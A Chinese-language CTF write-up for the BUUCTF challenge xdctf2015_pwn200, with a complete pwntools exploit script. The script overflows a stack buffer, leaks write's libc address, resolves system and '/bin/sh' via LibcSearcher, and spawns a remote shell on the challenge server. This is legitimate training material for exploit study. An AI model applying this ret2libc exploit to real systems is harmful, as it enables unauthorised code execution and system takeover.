[BUUCTF]PWN——xdctf2015_pwn200

xdctf2015_pwn200

附件

步骤

  1. 例行检查,32位程序,开启了nx保护
    在这里插入图片描述
  2. 本地试运行一下程序,看看大概的情况
    在这里插入图片描述
  3. 32位ida载入,习惯性的检索程序里的字符串,没有发现什么铭感的地方,直接看main函数
    在这里插入图片描述
    vuln函数
    在这里插入图片描述
    参数buf存在溢出漏洞,由于开启了nx,没有可以直接利用的后门,这边使用ret2libc的方法

利用过程:

  1. 先用write函数泄露libc版本
payload='a'*(0x6c+4)                    #溢出到ret
payload+=p32(write_plt)+p32(vuln_addr)  #覆盖ret为write,write结束后跳转到vuln函数继续执行,为我们第二次利用输入点构造rop攻击做准备
payload+=p32(1)+p32(write_got)+p32(4)   #write函数的参数

r.sendline(payload)

#write_addr=u32(r.recv(4))
write_addr=u32(r.recvuntil('xf7')[-4:])  #接收泄露的程序里write函数的地址

write_addr=u32(r.recvuntil('xf7')[-4:])这边说一下这句话是怎么来的
我一开始写的write_addr=u32(r.recv(4))没有接收到我想要的地址,这个时候我们可以加句语句 context.log_level="debug" 去看一下数据传输的过程
在这里插入图片描述
可以看到我们传入的a字符串结束的地方是0x7C,后面跟着的就是我们泄露出来的write函数的地址,我写的意思是从0x7F(这一行末尾),往前截取4字节,得到了我们的write函数的地址

  1. 计算出system和bin/sh的地址,去构造rop攻击
libc=LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)

完整exp:

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',27464)
elf=ELF('./bof')
context.log_level='debug'

write_plt=elf.plt['write']
write_got=elf.got['write']
vuln_addr=0x80484D6

payload='a'*(0x6c+4)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)

r.sendline(payload)

#write_addr=u32(r.recv(4))
write_addr=u32(r.recvuntil('xf7')[-4:])

libc=LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)

r.sendline(payload)
r.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273664.html